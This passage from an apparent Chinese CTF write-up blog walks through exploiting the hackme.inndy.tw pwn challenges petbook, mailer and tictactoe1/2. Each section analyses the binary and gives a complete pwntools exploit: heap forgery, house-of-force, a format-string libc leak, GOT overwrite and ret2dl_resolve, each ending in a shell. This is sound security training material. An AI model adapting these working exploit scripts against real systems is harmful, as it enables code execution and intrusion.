def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#-------------------------------------
def new(size,content):
ru("::> ")
sl('a')
ru("size > ")
sl(str(size))
ru("data > ")
sl(content)
def open_edit(index,content,choose = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(index))
ru("edit (Y/n)")
sl("y")
ru("content > ")
sl(content)
ru("::> ")
sl(choose)
def open_not_edit(index,choose = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(index))
sl("n")
ru("::> ")
sl(choose)
def delete(index):
ru("::> ")
sl('c')
rc()
sl(str(index))
def setread(index):
ru("::> ")
sl('d')
rc()
sl(str(index))

def keepsec(index):
ru("::> ")
sl('e')
rc()
sl(str(index))

gdb.attach(p)
sp()
sla(p,"::> ","c")

new(0x60,"aaaa")#chunk0
new(0x60,"bbbb")#chunk1
new(0x60,"cccc" )#chunk2

payload = "a"*0x5c + p32(elf.symbols['free'])
open_edit(0,payload)
open_edit(1,"bbbb",'^')#'a'-3 = 97-3='^'
delete(0)

print "printf------------------->",hex(elf.plt['printf'])
payload1 = "a" * 0x5c + p32(elf.plt['printf'])
payload1 += "a"*8 + "%1063$p\x00"#泄露出main的返回地址
new(0xe0 - 16,payload1)
sp()
open_not_edit(1,'^')
sp()

leak = int(p.recv(10),16)
print "leak-------->",hex(leak)
libc_base = leak - 0x18637#__libc_start_main_ret偏移
print "libc_base----------->",hex(libc_base)

system = libc_base+libc.symbols['system']
print "system 0ffset--------->",hex(libc.symbols['system'])
print "system --------->",hex(system)

delete(0)
payload2 = 'a'*0x5c + p32(system)
payload2 += "a"*8 + '/bin/sh\x00'
new(0xe0 - 16,payload2)

open_not_edit(1,'^')

getshell()

这里需要注意的是的,通过调用printf(%1063$p)泄漏出的main函数的返回地址,从而泄漏了libc,这个1063是通过调试得来的,在执行open_not_edit(1,'^')之前,往printf函数下个断点,在执行printf(%1063$p)之前查看栈的情况,发现0xff952cb0是存储格式化字符串参数的地方

1545039403176

那么疯狂往下找main函数的返回地址,发现在0xff953d4c处可以泄漏出__libc_start_main+247

1545039360599

从而计算出偏移的位置是1063或者1067

另外这题用onegadget似乎不行,只能老老实实构造system(/bin/sh)

petbook

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled //查了一波这个保护机制,发现卵用不大,对解题无影响

这题的逻辑稍微复杂,首先让你进行登录,如果没有账号的话就需要去注册一个账号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
if ( syscall(318LL, &magic, 4LL, 0LL) != 4 )
{
puts_0("Can not generate random");
exit(1);
}
srandom(magic);
v3 = base64_table;
do
{
v4 = random();
v5 = *v3;
v6 = v4 % 64;
*v3 = base64_table[v6];
base64_table[v6] = v5;
++v3;
}
while ( v3 != &aBcdefghijklmno[63] );
while ( 1 )
{
while ( 1 )
{
v7 = main_menu();
if ( v7 != 2 )
break;
user_login();
}
if ( v7 == 3 )
exit(0);
if ( v7 == 1 )
user_reg();
else
puts_0("Invalid option");
}

在注册账号的时候,会有一个用户的结构体:

1
2
3
4
5
6
7
8
9
这是我用IDA自己创建的,方便逆向理解 
00000000 USER struc ; (sizeof=0x218, mappedto_9)
00000000 uid dd ?
00000004 name db 256 dup(?)
00000104 pwd db 256 dup(?)
00000204 flag dd ?//用于标识是否为管理员用户
00000208 pet dq ? ; offset
00000210 post dq ? ; offset
00000218 USER ends

这些结构体的成员都存在一个堆块里面

注册成功后登录,进入用户界面:

1545401924100

用户有写post、查看post内容,编辑post,改密码,领取pet,给pet改名,丢弃pet的功能,

然后pet也有一个对应的结构体:

1
2
3
4
5
00000000 PET             struc ; (sizeof=0x14, mappedto_10)
00000000 pid dq ?
00000008 petname dq ? //存储指向petname的堆地址
00000010 pet_type db 4 dup(?)
00000014 PET ends

这题除了逻辑比较复杂,还存在很多的堆的创建和时候,我们来理一下:

  • 注册用户的时候,创建大小为0x218的堆块来存储用户信息
  • 创建post的时候,创建0x110的chunk用于存储uid、title、post指针,创建任意大小的chunk存储post内容
  • 领取pet的时候,创建0x10001的chunk存储pet的名字,创建0x18的chunk存储pet的uid和name的指针和type

总结来说就只有post的时候是可以控制创建任意大小的chunk 的

再来看看哪些地方有free 掉chunk的操作:

  • 在edit post的时候,如果编辑的size大于原来的,那么realloc函数就会把原来的post所在的chunk给free掉重新生成大的chunk存储post的内容
  • 在 abandon pet的时候,会把存储pet的信息的chunk给free掉,同时清空user的pet成员

通过上面的分析,不难看出,我们的利用点主要是edit post操作,如果创建一个0x218的post,接着edit它,将size改大,那么这个0x110的chunk就会进入unsorted bin ,这个时候如果进行注册user,那么user的结构体的各个成员就能预先设定好,从而有操作的空间

核心的思路就是:通过构造post,然后在edit post使得post内容的chunk进入unsorted bin,接着新建用户,操作user结构体的各个成员,伪造pet的chunk和内容,达到任意读写的目的

由于本题中有很多这样的magic的检查:

1
2
3
4
5
if ( (magic ^ *current_user) & 0xFFFF0000 )
{
puts_0("corrupted object detected");
exit(1);
}

因此我们要写泄漏出magic来,才能方便进行操作

分四步走:

  • 第一步:通过post伪造user,泄露出堆基地址
  • 第二步:伪造pet,泄露出puts,从而泄露libc
  • 第三步:泄露出magic,绕过检查,修改free的got表为system
  • 第四步:通过free(/bin/sh\x00)来getshell

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./petbook"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
libc = ELF("./libc-2.23.so.x86_64")
p = remote("hackme.inndy.tw",7710)
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc():
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#-------------------------------------
def register(name,pwd):
sla(p," >>\n","1")
sla(p," >>\n",name)
sla(p," >>\n",pwd)
def login(name,pwd):
sla(p," >>\n","2")
sla(p," >>\n",name)
sla(p," >>\n",pwd)
def exit():
sla(p," >>\n","0")
def post(title,length,content):
sla(p," >>\n","1")
sla(p," >>\n",title)
sla(p," >>\n",str(length))
sla(p," >>\n",content)
def edit_post(id,title,size,content):
sla(p," >>\n",'3')
sla(p,"Post id >>\n",str(id))
sla(p,"New title >>\n",title)
sla(p,"New content size >>\n",str(size))
sla(p,"Content >>\n",content)
def adopt(name):
sla(p," >>\n",'5')
sla(p,"Name your pet >>\n",name)
def rename(name):
sla(p," >>\n",'6')
sla(p,"Name your pet >>\n",name)
def abandom():
sla(p," >>\n",'7')

#gdb.attach(p,"tracemalloc on")
sp()
userdb=0x000603158

#第一步:通过post伪造user,泄露出堆基地址
payload1= 'a'*0x208 + p64(userdb-0x10)
register('user1','user1')
login('user1','user1')
post('post1',0x230,payload1) #post1
edit_post(2,'post1',0x240,'post1')#post的uid是2
exit()
register('user2','user2')
login('user2','user2')

p.recvuntil("Pet Type: ")
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
heap_base = leak_heap - 0x230#通过gdb调试得出的0x230偏移,得到堆的基地址
print "leak_heap--------------->",hex(leak_heap)
print "heap_base--------------->",hex(heap_base)

sp()

#第二步:伪造pet,泄露出puts,从而泄露libc
fake_pet = heap_base + 0x940#为了泄露出puts,需要构造一个假的的pet
#0x940偏移是加上post后产生的0x120堆块得到的,使得fake_pet指向pust的got
magic = 0x603164
payload2 = 'a'*0x208 + p64(fake_pet)
post('post2',0x100,p64(elf.got["puts"])*2)#uid = 4,post2
post('post3',0x230,payload2)#uid = 5,post3
edit_post(5,'post3',0x240,'post3')
exit()

register('user3','user3')
login('user3','user3')
p.recvuntil("Pet Name: ")
leak_libc = u64(p.recvline().strip('\n').ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']

system = libc_base+libc.symbols['system']
print "libc_base----------->",hex(libc_base)
exit()

#第三步:泄露出magic,绕过检查,修改free的got表为system
login('user2','user2')
edit_post(4,'post2',0x100,p64(magic)*4)
exit()
login('user3','user3')
p.recvuntil("Pet Name: ")
leak_magic = u64(p.recvline().strip('\n').ljust(8,'\x00'))
print "magic----------------->",hex(leak_magic)

fake_magic = leak_magic + 0x600000000
payload3 = p64(fake_magic) + p64(elf.got['free'])
payload4 = 'a'*0x208 + p64(fake_pet)
post('post4',0x230,payload4) #uid = 7,post4
edit_post(7,'post4',0x240,'post4')
exit()

register('user4','user4')
login('user2','user2')
edit_post(4,'post2',0x100,payload3)
exit()

login('user4','user4')
rename(p64(system))
exit()

#第四步:通过free(/bin/sh\x00)来getshell
register('user5','user5')
login('user5','user5')
adopt('/bin/sh\x00')
abandom()

getshell()

这题主要的难点在于程序逻辑复杂,东西一多就难以整理出对解题有用的线索,在做这题的时候花了很多时间,同时光看ida是不够的,还得边调试边加深对程序逻辑的理解。另外在堆利用方面这题也算是比较新颖,值得学习

这题应该可以用onegadget来做,但是不知道为什么没法getshell,可能是玄学环境问题吧

mailer

1547883490067

32位程序,只开了个canary保护

程序逻辑比较简单

只有两个函数

write:

1547886370264

可以看到,这里使用了gets函数,则会有堆溢出的漏洞,

dump:

1547886467829

这个函数肯定是用于泄漏地址的,可以看到:fwrite(mail + 18, 1u, mail[17], stdout);

假如我们修改了length,那么由此泄漏出堆的地址

程序的主要逻辑就只有这些,我们会发现,没有free函数,那么就没法使用uaf等操作了

可利用的线索有:

  • 创建mail的时候存在堆溢出,可修改length,可泄漏地址
  • 创建mail的时候,写content时可溢出修改至top chunk
  • 没开NX,堆可执行代码

由此我们的思路就清晰了,步骤如下

  • 新建两个mail,创建chunk1和chunk2,其中chunk1输入title时写入shellcode,同时溢出到length,将其改为0x70,在使用dump功能的时候就可以把chunk1的堆地址泄漏出来
  • 同时在chunk2中输入content的时候,溢出到top chunk,修改size为0xffffffff
  • 再一次申请一个新的mail,大小为elf.got["printf"] - top- 72-16
  • 由于新的top chunk的size = old top chunk的地址+新malloc的chunk的大小,新的top chunk的地址为elf.got["printf"] -16+4
  • 下一次新建mail的时候,再输入的title就会刚刚好位于elf.got["printf"]中,修改为shellcode的地址
  • 改printf的got表为shellcode地址,从而getshell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./mailer"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc

if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def write(Length,Title,Content):
ru("Action: ")
sl("1")
ru("Content Length: ")
sl(str(Length))
ru("Title: ")
sl(Title)
ru("Content: ")
sl(Content)


shellcode =asm(shellcraft.sh())#length is 44
#print len(shellcode)

write(32,shellcode.ljust(0x40,"\x00")+p32(0x70),"aaaa")

write(32,"bbbb","bbbb"*8+p32(0)+p32(0xffffffff))
#write(48,"cccc","cccc")
sla(p,"Action: ","2")
ru("\x71")

leak_heap=u32(p.recv(7)[3:])

shellcode_addr = leak_heap+4
top = leak_heap+0xd8
fake_size = elf.got["printf"] - top- 72-16

print "shellcode address is : ",hex(shellcode_addr)
print "top chunk address is : ",hex(top)
print "fake size is : ",hex(fake_size)
print "fake size+top = ",hex(fake_size+top)

write(fake_size,'aaaa','bbbb')
gdb.attach(p)
pause()

sla(p,'Action: ','1')
sla(p,'Length: ','30')
sla(p,'Title: ',p32(shellcode_addr))
pause()

getshell()

tictactoe1、2

1547948525517

32位程序,开了canary,NX保护

tictactoe1和tictactoe2都是一样的题目,只是要求到的操作不一样,tictactoe1只需要得到flag_simple就行了,而tictactoe2需要搞到shell,才能得到进一步的flag

这里我就直接开始弄能拿到shell的操作

首先分析一波程序:

1547987585094

这其实是个井字棋游戏,只有赢了才能拿到flag,但实际上不可能赢,你最多做到平局

这时就需要通过找漏洞来操作了:

1547988110539

漏洞主要出在这里,v1可以输入为负数,从而导致可以任意地址写一个字节

这里就很容易想到,如果把puts的got表改成0x8048C46,也就是下图中的地址,即可拿到flag_simple

1547988284595

但是,我这里直接做getshell的操作,这实际上有两种getshell的方法

方法一

使用ret2dl_resolve的方法:

1547990091031

首先有一个for循环,最多进行九次,根据你选择的先手或者后手进行下棋,AI和用户交替下,通过check函数来判断棋局是否有结果,每一轮循环,会用取反来交替下棋

继续进入you_play函数分析:

如果用户输入9,那么可以改变下棋的占位字符(默认的是X),通过这个造成一个任意地址写,最多能达到9次的任意地址写

在main函数的最后:memset(&player, 0, 0x18u);

由此可以通过ret2dl_resolve的方法,把memset指向system,同时改player为$0,从而执行system($0\x00)getshell,当然system(sh\x00)也行,我这里用$0

ret2dl_resolve的关键点在于第一次执行memset函数的时候,会通过DT_STRTAB找到函数名的字符串,从而确定函数的真正地址,如果通过操作使得memset在找函数名字符串的时候找到“system”,那么memset就好绑定位system的got表内容

从IDA中看:

1547996877806

STRTAB位于0x0804af58中

输入:readelf -a tictactoe1

1547996371303

得到 STRTAB为0x080482fb

进入gdb调试,可以观察STRTAB内容:

1547996515128

发现memset字符串的偏移是0x44

再寻找system字符串在程序中的位置,得到可伪造的STRTAB为0x8049fc8

1547996583703

这样一来思路就有了

首先通过任意地址写,将0x0804af58改为0x8049fc8,只需要改末两个字节,使得STRTAB被伪造

接着通过任意地址写,将player(0x804B048)改成$0参数

就可以getshell了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoe1"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc

if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def change(addr,value):
offset = addr -0x804B056
ru("\nInput move (9 to change flavor): ")
sl("9")
sd(value)
ru("\nInput move (9 to change flavor): ")
sd(str(offset))

player= 0x0804B048#改为sh\x00,或者$0
print "$0\x00".encode('hex')#73\x68\x00
print "sh\x00".encode('hex')#\x24\x30\x00

targe = 0x8049fc8#只需要修改后两个字节就行了
STRTAB = 0x0804AF58
bss = elf.bss()

ru("Play (1)st or (2)nd? ")
sl("1")

change(player,'\x00')#0
change(player,'\x24')#1 奇数轮次修改
change(STRTAB,'\xc8')#2
change(player + 1,'\x30')#3 奇数轮次修改
change(STRTAB + 1,'\x9f')#4
change(player+2,'\x00')#5 奇数轮次修改

change(bss+0x100,'\x00')#6 后三轮无关紧主要是为了退出循环
change(bss+0x100,'\x00')#7
change(bss+0x100,'\x00')#8

getshell()

这里需要注意的是,由于player每次会取反,改的时候需要注意统一用奇数轮次来写入

1
2
3
4
5
6
7
8
9
10
11
12
13
for ( i = 0; i <= 8 && !check(); ++i )
{
if ( player == -1 )
{
AI_play();
}
else
{
play_result();
you_play();
}
player = -player;
}

方法二

改整个程序流程为无限循环,从而进行常规的泄漏libc接着再getshell

这个方法是参考了这位大佬的:https://xz.aliyun.com/t/1785,tql

思路是这样的

  • 第1步、首先,第一次进入you_play的时候,你最多有三次任意写的机会,可以写三个字节,用这个把main末尾出的memset函数的got表改成call you_play`的地址,从而实现了无限循环写

  • 第2步、接着改open_got的为:0x08048Cb4:printf("Here is your flag: %s\n", buf);,这样以来,程序执行到open函数的时候就会去执行这句,从而泄漏出buf的地址,进而得到libc偏移

  • 第3步、得到libc偏移后就能算出onegadget了,后面用于直接getshell
  • 第4步、这时再将exit的got改为0x08048bd5:call you_play,这么做的原因是,在执行完0x08048Cb4:printf("Here is your flag: %s\n", buf);后,将要执行exit(0),从而使得程序重新变回无限循环写
  • 第5步、将check的关键变量v1改为-1,也就是0xffffffff,使得程序进入赢得游戏的if分支,从而执行之前第2、3、4步中的操作
  • 第6步、这时我们有了onegadget,程序通过第四步的构造,再一次执行到了you_play函数,继续构造写入,这时要把check的关键变量v1改为不等于-1,从而进入输掉游戏的if分支
  • 第7步、改open_got为 to ->call _exit 0x08048CF2
  • 第8步、将exit的got改为onegadget
  • 第9步、将check的关键变量v1改为0xffffffff,跟第5步一样,使得程序进入赢得游戏的if分支,使得之前第7、8步的构造得以执行
  • 第10步、执行exit函数从而getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoe1"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7714)
libc = ELF("./libc-2.23.so.i386")
elif sys.argv[1] == "l":
p = process(bin_elf)
libc = elf.libc
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def change(addr,value):
offset = addr -0x804B056
ru("\nInput move (9 to change flavor): ")
sl("9")
sd(value)
ru("\nInput move (9 to change flavor): ")
sd(str(offset))
time.sleep(1)
sys.stdout.flush()#每隔0.5秒刷新一次stdout

memset_got = 0x0804B034
open_got = 0x0804B02C
exit_got = 0x0804B028
check = 0x0804B04D

ru("Play (1)st or (2)nd? ")
sl("1")

change(memset_got,'\xd5')# 将memset的got改为:0x08048bd5:call you_play
change(memset_got+1,'\x8b')

change(open_got,'\xb4')# 将open的got改为:0x08048Cb4:printf("Here is your flag: %s\n", buf);
change(open_got+1,'\x8c')


change(exit_got,'\xd5')# 将exit的got改为:0x08048bd5:call you_play
change(exit_got+1,'\x8b')


#将v1改为-1,则可赢得游戏,开始执行向print flag的if分支
change(check,"\xff")
change(check+1,"\xff")
change(check+2,"\xff")

#leak libc_base
offset =0x1462e#泄露的0xf7***f12到__libc_start_main的偏移
ru("Here is your flag: ")
libc_leak=u32(p.recv(4))

print "libc_leak:",hex(libc_leak)
__libc_start_main=libc_leak+offset
print "__libc_start_main:",hex(__libc_start_main)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print "libc_base:"+hex(libc_base)
onegadget = libc_base+0x3AC69#远程端:0x3ac49,本地:0x5fbc5
print "onegadget:",hex(onegadget)

#输掉游戏,进入puts("Draw!......")的if分支
change(check+1,"\x01")


#改open_got为 to ->call _exit 0x08048CF2
change(open_got,"\xf2")
change(open_got+1,"\x8c")

#将exit的got改为onegadget
change(exit_got,p32(onegadget)[0])
change(exit_got+1,p32(onegadget)[1])
change(exit_got+2,p32(onegadget)[2])
change(exit_got+3,p32(onegadget)[3])

#赢得游戏,进入print flag的if分支
change(check+1,"\xff")

getshell()

这里需要注意的是,在泄漏libc那一步

泄漏出来的buf地址是一个这样的值:0xf7***f12,我是通过下断点进gdb调试,找到这个地址到__libc_start_main的偏移,从而得到__libc_start_main的真实地址,进而得到libc的基址

就这样算出onegadget

bytebucket1、2

这个是最新出的新题

1548314512329

除了canary保护,其他都开了

CATALOG
  1. 1. catflag
  2. 2. homework
  3. 3. ROP
  4. 4. ROP2
  5. 5. toooomuch
  6. 6. toooomuch-2
  7. 7. smashthestack
  8. 8. echo
  9. 9. echo2
  10. 10. echo3
  11. 11. onepunch
  12. 12. raas
  13. 13. rsbo1、2
  14. 14. leave_msg
  15. 15. stack
  16. 16. very_overflow
  17. 17. notepad
  18. 18. petbook
  19. 19. mailer
  20. 20. tictactoe1、2
    1. 20.1. 方法一
    2. 20.2. 方法二
  21. 21. bytebucket1、2